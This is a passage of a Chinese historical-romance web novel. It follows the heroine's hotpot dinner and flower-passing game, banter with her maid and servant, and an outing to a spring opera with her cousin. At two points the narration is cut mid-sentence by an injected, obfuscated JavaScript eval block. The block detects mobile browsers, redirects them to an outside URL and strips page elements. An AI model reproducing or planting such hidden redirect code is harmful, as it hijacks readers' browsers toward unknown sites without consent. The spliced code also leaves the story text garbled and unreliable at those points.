宝儿白了脸,唇线紧抿,没有看她,“不要。” “行吧,”柳眉妩也不执着,“你不答应,那我也不答应了。” “不要!”宝儿陡然拔高音量,眼圈发红,喉中响起近乎呜咽的哭声,听起来委屈极了,“你就会欺负我。” 柳眉妩叹了口气,一面帮宝儿擦泪,一面温声劝道:“宝儿,这不是欺负你,是告诉你道理。你要知道,你首先是你自己,然后才是我的驸马。” 不知怎么,眼泪却越擦越多。 柳眉妩继续道:“确实,我们很相爱,青梅竹马,两小无猜。跟巧娘娘起过誓,向月下老人发过愿,生同衾,死同穴,生死与共。这些你记得,我也记得。可人生漫长,不是只有情爱的,还有责任。 “于私,你是袭爵的乐善侯世子,香火三代单传,免不得担当光耀门楣之责;于公,你是御封的大理寺少卿,在其位谋其事,又理应肩负探诡断案之能。 “当然,你可以退缩,也可以逃避。但躲得了一时,还躲得了一世吗?况且,男子汉大丈夫,是不可以不弘毅的,而修身,齐家,治国,平天下,哪样不是任重而道远呢。” 宝儿霎时沉默下来,没说是,也没说不是。半晌过去,柳眉妩以为他不会再说话了,又听他忽然出声:“我饿了。” “我也饿了。”柳眉妩笑起来,想当然以为此事翻篇了,转头问十二,“十二,晚上吃什么?” 十二回道:“爷早吩咐过了,晚上打暖锅。黄牛肉是现杀现买的,新鲜着呢,咕咚羹也一直在小火炉上热着,就等您开口了。” 柳眉妩听了,心花怒放,和宝儿换了衣裳到膳厅时,肉蔬瓜果早已摆齐,炉上咕咚羹也开始翻滚。明明都是她爱吃的,她却还是不无遗憾地叹气,“可惜没有酒。” 十二掩嘴笑道:“知道四公主好此口,六姐特地准备了果露,有酒味,无酒气,四公主喝多少都不会醉。” 柳眉妩忍不住赞道:“小六最是玲珑心。” 不多时,小六捧来白玉瓶,掀开油布封,一股清甜生津的果香便流溢出来。 “我闻出来了,是青梅果露!” “还有棠梨果露呢,四公主若是喜欢,尽管多喝些。” 几人笑着,闹成一团。宝儿挨着柳眉妩坐在东方凌云一侧,其余几人相约去厨房调小料。脚步声远了又近,门被人轻轻推开。 “这么快就回来了?”柳眉妩抬眼望去,话头一转,“十三,你回来了。正好,去厨房调小料吧,我们打暖锅吃。” “是。”十三应了声,却不急着走,而是从怀里掏出张叠得整齐的方子,又掏出个掌心大小的白瓷瓶,“这是薛大夫为四公主开的摄魂汤和归魂饮的方子,还拿了瓶新的补心丸,让四公主早晚参汤送服。” 叶灵儿先天不足,五脏之气亏虚,故要补不足,泻有余。她从小自会吃饭便吃药,除了叶茂特制的彩虹糖,补心丸更是常年不断,益气养血,安神定志。 回春堂的补心丸是蜀郡最好的,每服五十丸,一日两次,一次两丸,所以十天左右就要去拿新的。听小茶说,这般梧桐子大的药丸,从小到大,叶灵儿吃得比点心蜜饯还多。 柳眉妩点头,“知道了,你帮我收着就是。” 十三应了话,将东西重新收好,这才关门下去。 * 咕咚羹响了三回,宝儿烫了些红肉下锅,等肉浮起时,调小料的几人去而复返。小六分好小料,提议道:“既是打暖锅,何不再热闹些,不如我们行个击鼓传花的令吧。” 柳眉妩赞同,“这个好,但不要吟诗作赋,太难为人,我宁可舞刀弄枪。” 十三道:“今时不同往日,四公主如今身子抱恙,还是不要剧烈运动的好。” “老话说得好,君子动口不动手。”小七也打圆场道,“既已坐下,还是不要动手动脚了,改为口头说吧。想要文雅些,便作文章辞赋、诗词对子;不想作的,讲故事、说笑话、猜谜语也行。大家觉得呢?” 大家自然拍手叫好。 十二取来一枝桃花,递给十三,又拿了支银箸击着芙蓉盏,笑道:“兴致突然,来不及找鼓了,且拿这对银器凑合着用吧。” 东方凌云点头,“可以,虽无霹雳响,却有金石声。” 柳眉妩放下筷子,拍手赞一声“好句”,将杯中果露一饮而尽,神色满足,却难解唇上辣意,只得呼气道:“辣!” 东方凌云轻笑一声,悠悠放下酒杯,玉面清越,在一众红嘴红面中显得格外干净,“谁让你总是这样,明明不能吃辣,却偏要逞强,每次还只吃红油暖锅。” 柳眉妩不赞同了,“二哥哥,我只是吃汤菜不吃辣,咕咚羹不一样。打暖锅,当然要红红火火才热闹嘛。不吃红油暖锅,难道要我和你一样吃白汤暖锅吗?” “又说歪理。”东方凌云摇头失笑,不和她一般计较。众人知她贪嘴,也不多说什么,笑一笑就过了。 十二得了首肯,自然欢喜,跃跃欲试道:“那大家准备好,我要开始了。” 话音刚落,银箸击在银盏上,泠泠脆脆,似有回音。待上手了,击声时快时慢,一忽儿是迅雷之势,一忽儿是疾电之影,一忽儿又是残雨之滴。众人笑闹起来,听声传花。击声快,传得便快;击声慢,传得也慢。 慢而渐缓,缓而渐止,刚好到小九手里。小九自斟一杯,乐呵呵举杯道:“爷,四公主,宗世子,冠冕堂皇的话我也不会说,先干为敬了。” 东方凌云道:“无妨,既是游戏,合该自由些,不必拘着。” 十二问:“九哥,好话说了,口头惩罚呢?” “那就讲个笑话吧。”小九摸摸下巴,绘声绘色道,“有个门客想要拍大人马屁,说:‘昨夜梦见大人,活了一千岁。’结果大人担忧地说:‘我听说梦都是相反的,梦生得死,难道这是什么不祥之兆吗?’门客马上改口说:‘哎呀,我说差了,是梦见您死了一千年哩!’” 众人乐得拍案。小七扒了口饭,听完没忍住,竟直接喷了出来。 小六笑得肚子疼,哎唷叫不停,“好你个九儿,真是个开心果。” 小九也笑道:“油嘴滑舌,不过讨个乐儿,大家笑了就好。” 于是继续击银传花,这次传到十三手里。 十三想了想,一本正经地道:“有人问:‘樊迟的名字是谁取的?’答:‘孔夫子取的。’再问:‘樊哙的名字是谁取的?’再答:‘汉高祖取的。’又问:‘烦恼的名字是谁取的?’继续答:‘咎由自取的。’” 众人愣了愣,回过味来,哼笑出声。 柳眉妩用帕子握着嘴,笑倒在宝儿怀里,又带着他笑作一团,“小十三,你可别再讲笑话了,太冷了。” “要我说,十三也好笑。”十二挤眉弄眼地道,“但我说的不是他的话,你们猜我在说什么?” 小六指着她笑骂道:“你个促狭鬼,逗我们这般笑,今日功德全笑没了,晚会儿替我们去找天后娘娘忏悔吧。” “天后娘娘才不会和我一般计较呢。”十二吐了吐舌头,手拿银箸却一连击了好几声,口中念念有词道,“我用银花代木鱼,功德加一再加一。” 柳眉妩笑得前仰后合,“好你个小十二,真真儿是个促狭鬼。” 十二听了也笑道:“你们听听,四公主这会儿知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268966|182217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道说我了,先前就数她笑得最大声。” 柳眉妩作势就要起身,“好一个伶牙俐齿,看我不拧掉你的嘴。” 惹得众人又一阵大笑。 两人闹够了再归座,继续传花,这次传到小六手里。 小六喝了果露,起身道:“我没什么新鲜发笑的话儿,但见十二妹的银器,想起件事儿。我去岁到洛阳,大开了眼界,不说客栈酒楼,吃喝用具非金即银,便是街头随便买碗甜水儿,都是用的银碗。” 小九惊异道:“竟有这回事,不知道的还以为是怕摊主下毒害命呢。” 小七瞥他一眼,语气与有荣焉,“洛阳自古繁华,何况是爷的封地。” 小六话头一转,继续道:“但我印象最深的,还是个卖身葬亲的姑娘,衣衫破旧,头上却簪着两根崭新的银钗。问了才知道,她家白天借米吃饭,晚上租被睡觉,这才给刚刚及笄的她,打了一对成色低的银钗子。” 柳眉妩不理解,“生活都这般拮据了,怎么不把银钗子当了,也好换些吃食。” “四公主有所不知,洛阳银多,一多便不值钱了。我也问过,便是拿两根低银钗子去换吃食,也换不来几顿。但及笄的姑娘家,身上若没点金银,却是要遭旁人指笑的。” 柳眉妩还是不能理解,“指笑便指笑了,被旁人指着笑两句又如何,面子再大,还能大得过性命不成?” 小六默了半晌,才叹道:“谁知道呢,十五六岁的姑娘家,到底是把面子看得重要些,还是把性命看得重要些。” 柳眉妩也不知道,于是继续问她:“小六,你帮她了吗?” 小六却摇了摇头,“没有。我帮得了她,帮不了他们。南市如她这般的姑娘,不知凡几;洛阳如他们这般的人家,更是不知其数。” 柳眉妩瞪大了眼,急道:“所以你就不管她了吗?” 小六看了眼东方凌云,才道:“我是帮不了,但爷可以。爷得了消息,派专人把停尸都收了来,又在邙山脚下找了块地,将他们全须全尾地一齐埋了。” 柳眉妩这才放下心来,继续问道:“逝者已矣,生者如何?” 东方凌云缓声道:“生者自然也是要赈济的。只是寻常发赈,不及腠理,治标不治本,我便让他们去伊阙凿石窟,备三炊,以工代赈。” 柳眉妩听了,拍手叫好,“那真是再好不过了!洛阳有二哥哥,是百姓之幸;大新有二哥哥,是万民之幸。” 众人闻声附和,于是举杯,向东方凌云敬酒,客套话自不必说。 再落座,小七忽然道:“说到造像,你们知道南山大佛吗?” 谈及南山,众人忙不迭看向柳眉妩。小七反应过来,后知后觉自己语失,神色尴尬,正要找补,却听柳眉妩接话道:“可是那尊由佛道两家接力开凿的大佛?” 小七答一声是,顿时忘了忌讳,只余讶然,“四公主也知道?” “在叶老爹的笔记上见过。”柳眉妩点点头,略一清嗓,开始背笔记上的内容—— “成都出城二里有南山,山有寺,未稽创于何时,旧号梵安,本朝元和年中,赐额万佛寺。有岩面江,古来有石镌大像,自顶至颌,不知何代开凿,俗称为大佛。观其法容,秀骨清像,或为南朝所作。 “大业中,有道者冯又玄自洛阳来,命工展开,像身与顶相称,身高十余丈,褒衣博带,跏趺而坐。永乐初,有僧者神秀续修楼阁五层,高可十寻,登而远眺,手足皆虚,肃然而恐凛乎,不可久居。 “及十五年二月,茂自西域还,采药南山林,见大佛背依翠壁,面临赤龛,身无金箔,怅然若失。遂捐金百斤,以塑佛身,故此记之。” 小七惊得张大了嘴,半晌合上,满是钦佩地开口赞道:“和我听的丝毫不差,甚至还要更详实些。可见叶老爷记得详实,四公主记得也详实。” 这话确实不假。 只是柳眉妩自己也不清楚,明明那么不喜文墨的人,四书五经唯恐避之不及,每每说起志怪笔记,却能过目成诵,脱口而出。 譬如,她至今清楚地记得,成都笔记上的另一段文字—— 南山有林,杂花生树,中有碑立,仙游公主葬身于此。无尸骨,无衣冠,盖黄土两三抔而已。然香火日夜不绝,所哀者寡,所求者众,思之令人发笑。 12. 闲事 小茶昨晚睡得并不安稳。 挑灯等到半夜,眼皮困得直打架,实在撑不住了,这才趴在明间桌上睡过去。梦里却也不安生,嘈杂得很。 一会儿是风卷珠帘的沙沙声,一会儿是鸟落枝头的啾啾声。她在臂弯里掩好耳朵,恍惚听见房门开了又合,外面的声音终于小了,迷迷糊糊又听到小姐的声音。 “小茶,怎么在这里睡着了?” 她半梦半醒爬起来,睡眼惺忪看过去,竟看到小姐逆光站在面前。她下意识揉了揉眼,喃喃道:“小姐?我不是在做梦吧?” 柳眉妩摊开手,左右旋身转了转,石榴裙迤逦翻飞,如业火簇簇,“不错,就是本小姐,如假包换。” 小茶一惊一乍地跳起来,“小姐,真的是你,你回来了!我还以为,你和老爷一起去寻仙人采仙草了呢!” “爹爹还没回来吗?”柳眉妩摇了摇头,“我没和他在一起。” “那小姐昨天去了哪里?”小茶嘟囔一句,忽然想到什么,瞬间瞪大了眼。她用手捂着嘴,声音却还是从指间流了出来,“小姐,你昨晚夜不归宿,不会是留在御史府了吧?” “白大人热情好客,暖锅好吃,果露好喝,卧房好睡,熏香还好闻。”柳眉妩回忆道,“便是住一晚,也不亏。” 小茶听了,脑袋却摇得像拨浪鼓,连声劝道:“不好不好。小姐,你和大公子早有婚约,就算与白大人两情相悦,但这般自荐枕席,暗通款曲,未免太过轻狂,有失体统了些。” 柳眉妩被小茶呛到,一把按住她摇来摇去的脑袋,抬指在她额上弹了个爆栗,收手时顺便拿走桌上翻开的话本,“说得好,小茶,下次不准再说了。我看你就是月银太多了没处花,整日里尽看些乱七八糟的。” 小茶捂着额头,眼巴巴看着小姐手里的话本子,小声辩解道:“才不是乱七八糟的,我看的都是远夫子的话本子,很有名的。” “是吗?那你看的这些很有名的话本子里,有没有说到,像你这样知道太多的小丫头,最后都怎么样了?” 小茶握住嘴,连声求饶道:“小姐,小茶错了,小茶什么都不知道,小茶全是口无遮拦乱说的。小姐大人有大量,饶了小茶这一回吧。” 她呜呜的声音忽然顿住,疑惑地歪了歪脑袋,看向柳眉妩身后,问道:“小姐,他是谁呀?怎么瞧着有些眼熟。” 柳眉妩“哦”一声,张口便道:“他叫十三,在南街上卖身葬主,你可能见过,所以觉得眼熟。我看他忠诚又可怜,就将他买了回来,日行一善嘛。” 她说这话的时候,脸不红心不跳,一本正经地胡说八道。十三看着她,而小茶看着十三,竟听得热泪盈眶,呜呜道:“小姐真是人美心善,菩萨转世,等哪一天小姐死了,小茶也要卖身葬你!” 柳眉妩一噎,哭笑不得,半晌转身,拿过十三手里的糖葫芦,慢吞吞从嗓子眼里挤出几个字,“小茶,我谢谢你啊。” 小茶接过糖葫芦,又得了谢,欢欢喜喜地出门,去传早膳了。 柳眉妩扶额坐下,向十三介绍道:“她就是小茶,叶灵儿的贴身丫鬟。小丫头什么都好,手脚麻利,城府浅,心眼儿少,性子也好,就是有些咋咋呼呼。” “十三四岁,西域模样,碎叶口音,识字,不会武。”十三咬了口糖葫芦,咯嘣咯嘣,口齿有些含糊不清。 柳眉妩噗嗤一声笑了,“十三,你这是做什么?我只是向你介绍一下小茶,不是让你审犯人,收起宝儿教的那一套。” “是。”十三低眉应话,咽下糖球。 “乙亥集,原来都已经写到十二册了。”柳眉妩信手翻了翻话本,有些感慨,“也就远夫子的话本取名随意,还有人买账了。” 十三继续咯嘣咯嘣,“远夫子只是取名随意了些,故事却精彩得很,和那些花里胡哨的空架子相比,就算败絮其外,也是金玉其中。更何况,以干支取名,顶多算偷懒,还算不得是败絮。” 柳眉妩点头,正要说话,眼皮忽然变重。天旋地转间,眼前的景象糅合成黑白的光影,闪现,停滞,又如水流般回旋下沉。 她两眼一黑,直直砸进漩涡中心。 * 日近清明,雨水渐盛,气温一日日往上攀。晌午骄阳灼人,矮窗下的芭蕉叶被晒得透绿,穿堂风扑到身上,烘着干涩的热气。 柳眉妩睡了三个时辰,醒来一身汗,头昏脑胀不舒服。小茶叫来热水,帮着小姐沐浴更衣,收拾妥当了,这才出门去回春堂拿药。 谁知天有不测风云,她出门时阳光尚好,拿个药的工夫,转眼却阴了下去。小茶暗道不好,护着怀里的药包,加快速度往回赶,好不容易跑到别业前门,在守门小厮处顺了把伞,又忙不迭赶往灵犀院。 “小姐,我以后再也不敢不听你的话了。你说要带伞,我嫌麻烦就偷懒没带,结果雨下得好大,把我淋成了落汤鸡。”小茶收了伞进明间,放下药包,一边拍着身上的水汽,一边朝次间榻上的小姐诉苦道。 柳眉妩音色轻柔,伴着几声虚弱的咳,缓缓从次间飘了出来,“我在床上都听见外面雨下得噼里啪啦,这么大雨,你怎么也不知道躲躲?便是等雨停了再回来,又能耽误什么工夫。” “小姐你不知道,我出回春堂的时候,天还晴着呢,谁知走到半路忽然下起大雨来。我折回去也不是,不回去也不是,干脆就硬着头皮跑回来了,好在药没怎么打湿。” 小茶拿干帕子擦了擦包药的油纸,见到桌上大大小小的礼盒,忍不住嘟囔起来:“十三真是的,东西这么乱也不收拾一下。欸,小姐,你说这里面装的不会是根长参吧?” 她打起帘子,抱着长盒进了次间,献宝一样端给柳眉妩看,目光忽然顿住,连忙行礼道:“见过大公子。” 杨无咎拿了本书,坐在柳眉妩床前,一派光风霁月的模样,笑如春日远山,秋月平湖。见她福身,摆了摆手表示免礼,随口问道:“这些都是二娘送来的吗?” 小茶听了这话,立马来了精神,与有荣焉地道:“那是自然,钟夫人可喜欢我家小姐了。知道小姐病了,不仅亲自来看,还送了好多的名贵补品。” “就你机灵。”柳眉妩看了小茶一眼,有些好笑,“一个风热感冒,哪里需要什么名贵补品?便是名贵补品,哪里又会有这么长的参,难道是人参成精了不成?” “是不是人参成精,一看便知。”小茶向柳眉妩挤了挤眼睛,有些跃跃欲试,“小姐,那我打开看了?” 柳眉妩笑着点头。 小茶得了许可,欢欢喜喜打开长盒,“咦”了一声,不可置信地道:“小姐,钟夫人给你送了把剑。” “剑?” 小茶捧着剑盒走到床前,柳眉妩拿出盒中三尺,拔剑出鞘,寒光凛冽,不可直视。她屈指弹了弹,柔软如绢,剑鸣清越,确实是把不可多得的好剑。 杨无咎忽然道:“这是二弟送的。” 柳眉妩更惊讶了,“二表哥?” 杨无咎笑了笑,“或许是那日家宴上,二弟见你看悠然舞剑,心向往之,便投你所好,送你上善剑吧。” “上善若水,此剑虽是软剑,却柔中藏锋,倒对得起这个名字。”柳眉妩说完,又有些赧然,垂下视线,“大表哥,你也知道啊?” 杨无咎还是笑,“你的表情那样明显,我们又怎会看不出来。” 柳眉妩似叹非叹:“我确实羡慕竹姐姐,有那样好的精气神,每日自由自在,快活逍遥。” 杨无咎放下话本,伸手摸摸她的头,温声道:“灵儿,不必羡慕太阳,你是独一无二的月亮。” 柳眉妩愣了愣,鼻尖蓦地有些发酸。 杨无咎说,她是独一无二的月亮。 可是他不知道,她也曾是自由快活的太阳。 “你回来后,日日待在房里,许是闷了些,所以胡思乱想。明日便是清明,若天气好些,你的病也好些,我带你出去走走吧。”杨无咎笑道,“成都虽不比碎叶是三国通衢,新鲜玩意儿多,却也算得上热闹,好玩的地方也不少呢。” 到底是孩子心性,一听有好玩的,柳眉妩眼睛都亮了,眨巴眨巴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268967|182217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着杨无咎,“真的吗?我们去哪里玩?” “大表哥什么时候骗过你?”杨无咎失笑,“灵儿有没有想去的地方?” “我对成都不了解,大表哥推荐吧。” “要我推荐的话,首选万佛道场和浣花市集。别的不说,人必然是多的,人一多便热闹。” 人自然是爱凑热闹的。但热闹凑得多了,就会觉得无聊,难免厌烦。长安从来不缺集会,柳眉妩起初喜欢逛,逛得多了,就嫌没意思,左右不过人看人。城外人看城里人,城里人看宫里人,宫里人又看方外人。 但成都却不一样。山川异域,秦蜀两别,柳眉妩知道浣花溪,却没去过万佛寺,当即决定道:“那就去万佛寺吧!” “可以。所以现在当务之急,是灵儿要好好休息,好好调养身子。” “一言为定!”柳眉妩伸出小拇指,郑重其事地说,“大表哥,拉勾。” 杨无咎见她这般举动,失笑出声,却还是伸出小指,应她之诺。转头看看天色,又出声道:“灵儿,时候不早了,你早些休息,我先回去了。” “大表哥,明天见。”柳眉妩点点头,躺得心安理得。 杨无咎笑着应下,转出次间,接过小茶手里的伞,走了两步停在门口,忽然转头又看向荡荡悠悠的竹帘。 小茶忙迎上去,“大公子还有何吩咐?” “虽说已到暮春,乍暖还寒的时候却也不少,你注意让灵儿多穿些衣裳。我看她盖的被子薄了些,到底是在病中,你再抱床厚点的来,窗户纸也多糊几层,才经得住冷。还有这面竹帘子,换成暖帘才好,挡风又防寒。” 小茶一一应下,见杨无咎渐行渐远,直到撑伞消失在雨幕中,这才折身回到次间,轻轻喊道:“小姐,你睡了吗?” 柳眉妩从被子下探出脑袋,“还没有,怎么了?” 小茶压低了声音,神神秘秘地问:“小姐,你猜我刚刚在回春堂遇到了谁?” 既是在回春堂遇到的,不是大夫就是病人。小茶这么问,便说明那人定是她熟识的,至少是认识的。可叶灵儿才回蜀郡,能认识几个人? “你遇到了白御史。”柳眉妩左猜不中,右猜不中,索性瞎猜一通。 小茶噎住,跺了跺脚,“不是啦,是顾公子。” “哪个顾公子?”柳眉妩话音刚落,想起来了,“顾明远?” 小茶点头。 “他也病了?” “那倒没有,顾公子是在回春堂帮工。”小茶停住话头,随即又道,“哎呀,我要说的其实也不是顾公子,是十三,十三也在回春堂。小姐,明明你给的月例不少了,他吃着碗里的,还想着锅里的,我瞧不起他!” 柳眉妩看了眼小茶,似叹非叹,“小茶,别这么说,十三有难处的。他有旧疾,却没积蓄,所以才去回春堂帮工换药,我都知道的。你不要看不起他。” 小茶瞪大了眼,忙伸手握住嘴巴,“小姐,我不知道,我刚刚口不择言,都是乱讲的,你不要告诉十三。不过现在月初,我也没余钱了,等月中领了月银,我就借些给他,也是帮衬。” “你有心了。”柳眉妩看向小茶身后,语气欣慰,“十三,还不谢谢小茶。” “谢谢,但不用。” 十三的声音忽然从空旷处响起,震人耳鼓。 小茶吓了一跳,捂着心口转身谴责道:“十三,你什么时候回来的?怎么一声不吭,又突然说话,吓死个人了!” 十三想了想,如实答道:“大概,是在你告状的时候。” 小茶有些尴尬,挠了挠头,开始解释:“十三,我都是乱讲的,你别往心里去。你一日是小姐的人,就一日是我的家人,往后有什么需要帮忙的,尽管开口。毕竟,我是小姐最喜欢最亲近最信任的小茶呀。” 她围着他说个不停,絮絮叨叨,十三大概是听得烦了,掀起眼皮淡淡瞥了她一眼。 小茶擦了擦额上的汗,只觉得这天儿真热呀,热得她都出现幻觉了。因为若不是幻觉,十三又怎么会用看傻子的眼神看她。 13. 春戏 晚间月明,微风不燥。 柳眉妩喝了药,披衣和小茶十三在树下谈天消食,闲坐无聊,又玩了几把叶子戏。手气正好,耐不住困意袭来,眼皮越来越重,只得叹息作罢。 小茶铺床,十三点香,熟悉的鹅梨帐中香很快熏笼卧房,柳眉妩一觉睡得香甜,再醒来已是天光大亮。 洗漱好,出门见十三在院里练剑,当即手痒,让小茶也拿了上善剑来。她自开蒙便习剑,算来也有六七个年头了,虽不敢说大有作为,但师承名家,一招一式行云流水,定是不遑多让。 只可惜,她虽有功底,叶灵儿的身子却太过孱弱,又在病中,往往十分的力气只能使出三四分。纵她如何来如雷霆,罢如江海,使不上劲总有些画虎类犬。 如此,才练一刻钟,明明心中意犹未尽,身上发汗,脚下虚浮,剑差点握不住,手指头也有些抬不起来了。 十三适时接过剑,看她一眼,欲言又止。 小茶为她擦汗,一边扇风,一边笑嘻嘻地夸道:“小姐,你舞剑的样子真好看,和平时很不一样。” 柳眉妩转身问十三,“十三,你觉得呢?” 十三道:“小姐还能更好。” 小茶道:“小姐当然还能更好。但练剑非一日之功,就像读书写字一样,要讲究循序渐进的。而且,小姐本来身子就弱,又没有武功底子,如今照猫画虎,能有这般水平已然很不错了。” 十三点头赞同,仿佛听不出小茶的“照猫画虎”说的是谁。 柳眉妩却听出了,伸手点了点小茶的额头,笑骂一句“促狭鬼”,又见小茶朝她一个劲儿地挤眼睛。她似有所感,转身看去,杨无咎不知什么时候来了,站在桃树下,笑盈盈望着她。 繁枝秾艳,他一身鸦青色长衫立于树下,亭亭净植,清雅出尘,不逊春光半点风采。 柳眉妩不得不承认,她这个大表哥,皮相殊绝,真真是好看呀。便是和长安洛阳的贵公子相比,也差不了几分。 她提着裙摆,小跑过去打招呼,“大表哥,你什么时候来的,怎么也不让她们通传一声?” 杨无咎伸手在她发间一拂,拂下片殷红的桃花瓣,夹在指间,愈衬得指节修如竹节,玉色涟涟。 柳眉妩痴痴看他的手,又往上看他的脸,面上不自觉染了桃红,在初阳的熏照下微微发起热来。 杨无咎拈花笑道:“才来,见你练剑正在兴头上,便没打扰。” “那大表哥觉得,我的剑练得如何?” “很好。”杨无咎笑着摸摸她的头,不吝夸赞,“只是,你方才有个动作,手臂欠直,气力稍小,若是注意了,还可以更好些。” 柳眉妩拱手讨教,“请杨夫子指点一二。” 杨无咎莞尔,从十三手里接过上善,指间飞花弹出,旋即剑随影动,影随花去。疏疏飒飒,剑气如虹,惊落一树花叶。他在漫天花雨中挽剑回身,身若惊鸿,薄如蝉翼的剑上挑着一片殷红如血的桃花瓣。 柳眉妩拍手连叫三声好,又道:“大表哥,你的招式确实要比我大开大合,却好像过于大开大合了。用剑当轻盈,尤其是软剑,更当轻无一物。你的招式却有些沉重,或许更适合舞刀。” 杨无咎从善如流,“是,学生受教了,叶夫子。” 逗得柳眉妩哈哈大笑。 * 将将日出,柳眉妩回房重新洗漱,换了身翠色春衫,为了应景,还让小茶描了个远山黛的春眉。 好说歹说辞了两人,没让他们跟着,结果出门左看右看不见马车软轿。等了一会儿,才见杨无咎骑了匹枣红色的马儿从拐角处缓步走出,笑问她道:“灵儿,敢不敢骑马?” “没问题。” 柳眉妩信誓旦旦,却还是高估了叶灵儿的体力。即便握着杨无咎的手借力,踩着马镫,她也爬不上去。忙活半天,马儿打起响鼻,不耐烦地开始踢腿,她却只是出了一身细汗,无事发生。 杨无咎翻身下马,似乎有些无奈,“松子有灵性,许是一时半会儿没有接受你,不让你上去。灵儿,我抱你上去吧。” 柳眉妩自然同意,不禁感慨杨无咎心细如尘。在为她提出解决方法的同时,还不忘为她找了个冠冕堂皇的借口。 杨无咎得了许可,将她抱上马背,自己再跃身上马,从后虚环住人,随即勒紧缰绳,策马而去。 松子扬蹄,一跃三步。 柳眉妩忽然想到什么,转头问道:“大表哥,你既练剑,为何不见你随身佩剑?” 杨无咎似乎轻笑一声,呼出的热气喷在柳眉妩耳后,带着细细密密的痒,“灵儿何以见得?” “大表哥方才舞剑用的左手,我抓大表哥的手借力上马也是抓的左手。”柳眉妩揪了揪耳垂,展开右手手心,“你的左手虎口处有茧子,硌得我不舒服,手心都红了。” 在成都待久了,很多闲话就算柳眉妩无心知晓,也略有耳闻。昔日叱咤风云的大将军辞官还乡后,学着陶朱公做起了生意。皇恩浩荡,一本万利。叶家西迁后,杨将军便成了当之无愧的成都首富。 杨无咎十五岁接管家业,生意场上无师自通,左右逢源,五年来更是风生水起,蒸蒸日上。只是,一个商人,无论是打算盘还是记账本,按理来说只会在指尖或指节处长茧子。 就像她们姐妹四个。大姐姐弹琴,指尖有茧;二姐姐写文,三姐姐作画,指节有茧;而她常年习武,终日剑柄不离手,才会虎口处生有茧子。 听她这么说,杨无咎垂眼看去,白嫩的手心果真染了层淡淡的红。他握着轻轻吹了吹,失声笑道:“难怪是娇儿。我确实练剑,但从不佩剑。” “为什么?” “我不比二弟,江湖中人行侠仗义,自然可以刀剑不离身。我一介商贾,若整日里舞刀弄剑,却是不务正业,爹知道了,会生气的。”他低头看向柳眉妩,语气惑人,“此事我不欲张扬,所以,灵儿可以帮我保守这个秘密吗?” “当然可以。”柳眉妩一口应承,“大表哥还可以和我一起练剑。我听小茶说,天一楼里有很多剑谱,上面记了很多传说中的绝世剑法,很厉害的。” “天一楼?” “天一楼是爹的藏书楼,大概是取自天下第一楼的意思吧。” 她的语气俏皮又天真,听得杨无咎失笑。 “大表哥你笑什么,我说错了吗?” “若我没记错的话,姨父喜欢求仙问道,钻研黄老之术吧。” 柳眉妩点点头,有些不明所以。 “河图数中,一六为水,正所谓天一生水,地六成之。而书籍怕火,五行之中水又克火,是以天一生水,以水克火,护书无虞。” 柳眉妩豁然开朗,“还能这样理解?” “姨父淡泊慕道,常读三玄,私以为除了以周易解,还能以老庄解。道生万物,道法自然,故而天人合一,是为天一。” 柳眉妩拱手长叹,“听君一席话,胜读十年书。学生受教了,杨夫子。” * 松子在南山脚下停住,香市正热闹。 搭台旷野,男女聚观,熙熙攘攘,好不热闹。杨无咎带柳眉妩找好位置坐定,点了壶椒子茶,又唤小二要来戏报。 柳眉妩有些惊讶,“春台戏还有戏报?” 小二笑道:“天下所无蜀中有,天下所有蜀中精。蜀戏自古冠天下,即便是乡野春台戏,无论是剧种还是规模,也比别处戏楼要更精致些。” 柳眉妩半信半疑,因是中场休息,随口问道:“下一场是什么?” 小二继续道:“回小姐,下一场是《张协状元》。不过在好戏开始前,先是场杂耍百戏,热热场子。” 柳眉妩了然,一面喝茶品茗,一面和杨无咎闲话。不一会儿,便见一老一小抬了只大箱子,登上春台。 老人须发皆白,气势却足,朗声吟道:“点石成金也不难,神仙留诀在人间。剪成人物能吹火,画出鱼儿也上竿。白纸自然成黑字,明珠立地走金盘。韩湘去后知音少,泄破机缄是笔端。” 定场诗说完,蓬头散发的小孩忽然开口:“爹爹说的这么神奇,不如就拿妙笔为孩儿画个桃儿吧。” 老人道:“你看我可像个桃儿。” 小孩不依不饶,“这么多父老乡亲看着呢,爹爹难道要说话不算话。” 老人只好妥协,“怕了你了,孽障。你要吃桃儿,可以,自己去蟠桃园里摘,摘得几个,便吃几个。” “爹爹还说不是诓我,王母娘娘的蟠桃园在天上,可是孩儿说去就能去的。” “能去不能去,一去便知。” 老人说完,俯身打开箱子,翻箱倒盖却只倒出支炸毛的笔。他吐了口唾沫浸湿,左手握住笔端成拳,又让小孩伸手拽笔。 小孩似是不解,却也听话,费力拽毛笔,初初拽不动,再使劲儿,却拽出一根数十丈长的毛线。拽到最后,老人忽然呵一声“松手”,将毛线往空中掷去,毛线当即悬立空际,渐渐高升,很快隐入云霄,只留细细一端垂在眼前,随风摆荡,摇摇欲坠。 老人抚须道:“孽障去罢,天梯已成,你可以去摘桃儿了。” 小孩有些害怕,但听满堂催促,只好硬着头皮往上攀附。手往上攀,脚在后附,仿佛蜘蛛沿着蛛丝 